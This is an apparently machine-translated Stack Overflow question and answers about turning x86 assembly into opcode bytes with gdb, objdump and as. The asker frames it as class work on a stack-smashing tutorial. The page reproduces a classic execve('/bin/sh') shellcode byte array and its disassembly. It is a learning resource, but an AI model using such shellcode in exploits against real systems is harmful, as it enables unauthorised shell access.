【问题标题】:How to get opcodes of a c program如何获取c程序的操作码
【发布时间】:2012-04-06 11:14:06
【问题描述】:

我知道如何使用 gdb 获取程序的汇编代码,但如何获取操作码? 我需要它来破解 linux 服务器(不要担心它是我所拥有的类的一部分,因此不会损害真正的服务器)。实际上我正在阅读this 文章,我想知道如何从汇编中获取:

[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[aleph1]$ gdb shellcodeasm

(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>:       pushl  %ebp
0x8000131 <main+1>:     movl   %esp,%ebp
0x8000133 <main+3>:     jmp    0x800015f <main+47>
0x8000135 <main+5>:     popl   %esi
0x8000136 <main+6>:     movl   %esi,0x8(%esi)
0x8000139 <main+9>:     movb   $0x0,0x7(%esi)
0x800013d <main+13>:    movl   $0x0,0xc(%esi)
0x8000144 <main+20>:    movl   $0xb,%eax
0x8000149 <main+25>:    movl   %esi,%ebx
0x800014b <main+27>:    leal   0x8(%esi),%ecx
0x800014e <main+30>:    leal   0xc(%esi),%edx
0x8000151 <main+33>:    int    $0x80
0x8000153 <main+35>:    movl   $0x1,%eax
0x8000158 <main+40>:    movl   $0x0,%ebx
0x800015d <main+45>:    int    $0x80
0x800015f <main+47>:    call   0x8000135 <main+5>
0x8000164 <main+52>:    das
0x8000165 <main+53>:    boundl 0x6e(%ecx),%ebp
0x8000168 <main+56>:    das
0x8000169 <main+57>:    jae    0x80001d3 <__new_exitfn+55>
0x800016b <main+59>:    addb   %cl,0x55c35dec(%ecx)
End of assembler dump.

以下内容:

testsc.c
------------------------------------------------------------------------------
char shellcode[] =
    "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
    "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
    "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
    "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

系统是 linux x86,我将使用 C 语言。我真的很喜欢自动化方式,但手动解决方案也可以。

我的意思是如何转换 %ebp、%esi、%esp 等。有我可以使用的地图吗?还是自动化程序?

【问题讨论】:

  • 您在寻找 x86 反汇编程序吗?
  • 我认为反汇编程序与我正在尝试做的相反
  • x86指令集列表有映射,它可以用来反汇编0xEB(即JMP),反之亦然(汇编,或“编译”,JMP到0xEB等)。
  • 你知道我在哪里可以找到它吗?
  • 我该如何转换,比如
    到操作码?

标签: c linux assembly x86 opcode


【解决方案1】:

找到了!先拆机再输入: x/bx 回车,一一得到汇编命令的十六进制表示!

【讨论】:

  • 您可以使用 x /100bx start_address 一次性完成所有操作,这将为您提供从 start_address 开始的下 100 个字节的十六进制表示。将 100 更改为反汇编代码跨越的字节数。
【解决方案2】:

你可以使用:

gcc -S -c tst.c -o -

gcc -g -ggdb -c tst.c
objdump -S tst.o

使用操作码对程序进行反汇编。

要反汇编你的 char 数组,你可以使用:

gcc -c tst.c
objdump -D -j .data tst.o

【讨论】:

  • 你确定吗?默认情况下,objdump 不会反汇编数据部分,gcc 不会将任意文字字符串转换为操作码。
  • @zvrba 更新了我的答案,一开始我没有注意到他想要对数组字节进行反汇编。
  • 如果默认情况下 objdump 不会反汇编数据部分,我是如何产生这个答案的?
  • @Kaz -S as -d 只反汇编 .text-D 也反汇编其他部分。
  • GNU binutils objdump 默认不反汇编任何部分。事实上,默认情况下,它会打印一个帮助屏幕。
【解决方案3】:

创建一个小的汇编文件,比如code.s。然后将以下内容放入:

.text
.byte 0xeb, 0x2a, 0x5e, ..

as code.s -o code.o组装它,然后使用objdump反汇编结果。

【讨论】:

    【解决方案4】:

    给你:

    Disassembly of section .data:
    
    00000000 <shellcode>:
       0:       eb 2a                   jmp    2c <shellcode+0x2c>
       2:       5e                      pop    %esi
       3:       89 76 08                mov    %esi,0x8(%esi)
       6:       c6 46 07 00             movb   $0x0,0x7(%esi)
       a:       c7 46 0c 00 00 00 00    movl   $0x0,0xc(%esi)
      11:       b8 0b 00 00 00          mov    $0xb,%eax
      16:       89 f3                   mov    %esi,%ebx
      18:       8d 4e 08                lea    0x8(%esi),%ecx
      1b:       8d 56 0c                lea    0xc(%esi),%edx
      1e:       cd 80                   int    $0x80
      20:       b8 01 00 00 00          mov    $0x1,%eax
      25:       bb 00 00 00 00          mov    $0x0,%ebx
      2a:       cd 80                   int    $0x80
      2c:       e8 d1 ff ff ff          call   2 <shellcode+0x2>
      31:       2f                      das
      32:       62 69 6e                bound  %ebp,0x6e(%ecx)
      35:       2f                      das
      36:       73 68                   jae    a0 <shellcode+0xa0>
      38:       00 89 ec 5d c3 00       add    %cl,0xc35dec(%ecx)
    

    注意add %cl 指令中的最后一个 00 是如何来自字符串空终止符字节的;它不明确。

    我得到这个的原因是我简单地编译了你的声明

    gcc testsc.c -c
    

    然后

    objdump -D testsc.o
    

    【讨论】:

    • 可能是这样,但答案是一样的。您可以使用objdump 反汇编该shellcodeasm 程序,而不是在gcc 中执行它。如您所见,输出格式为您提供了反汇编列表操作码。您可以进行一些文本处理来剪切字节列并自动将它们转换为 C 声明。
    猜你喜欢
    • 2010-12-20
    • 1970-01-01
    • 1970-01-01
    • 2018-06-26
    • 2011-05-24
    • 2015-10-13
    • 2011-06-28
    • 1970-01-01
    相关资源
    最近更新 更多